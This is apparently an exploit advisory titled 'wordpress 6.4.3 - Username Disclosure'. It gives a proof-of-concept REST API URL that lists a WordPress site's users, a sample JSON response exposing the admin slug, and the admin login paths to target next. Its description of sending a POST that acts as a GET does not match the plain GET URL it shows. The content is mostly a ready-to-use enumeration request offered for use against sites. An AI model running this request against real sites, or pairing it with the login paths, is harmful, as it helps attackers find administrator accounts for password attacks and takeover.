WordPress versions 6.4.3 and below appear to suffer from a REST API related username disclosure vulnerability.
# Title: wordpress 6.4.3 - Username Disclosure
# Author: h4shur
# date:2024-02-21
# Vendor Homepage: https://www.wordpress.org
# Software Link: https://www.wordpress.org/download
# Version: 6.4.3 and earlier
# Tested on: Windows 10 & Google Chrome
# Category : Web Application Bugs
### Description :
the REST API allows simulating different request types. As such, we can
perform a POST request with the “users” string in the body of the request,
and tell the REST API to act like it’s received a GET request.
You can see the management username in the "slug" feature. And even
security plugins like "iThemes Security" do not block this path.
### POC :
https://target.com/wp-json/?rest_route=/wp/v2/users/
# output :
[{"id":1,"name":"admin","url":"https://target.com
","description":"","link":"https://target.com
/?author=1","slug":"admin_1l","avatar_urls":{"24":"https://
secure.gravatar.com
/avatar/f796ffd8af7172647b2f54ce8104919e?s=24&d=mm&r=g","48":"https://
secure.gravatar.com
/avatar/f796ffd8af7172647b2f54ce8104919e?s=48&d=mm&r=g","96":"https://
secure.gravatar.com
/avatar/f796ffd8af7172647b2f54ce8104919e?s=96&d=mm&r=g"},"meta":[],"_links":{"self":[{"href":"https://
target.com
/index.php?rest_route=/wp/v2/users/1"}],"collection":[{"href":"https://
target.com/index.php?rest_route=/wp/v2/users"}]}}]
### Admin Panel :
https://target.com/wp-admin
https://target.com/login.php
### contact :
[email protected]
twitter.com/h4shur
instagram.com/h4shur
t.me/h4shur
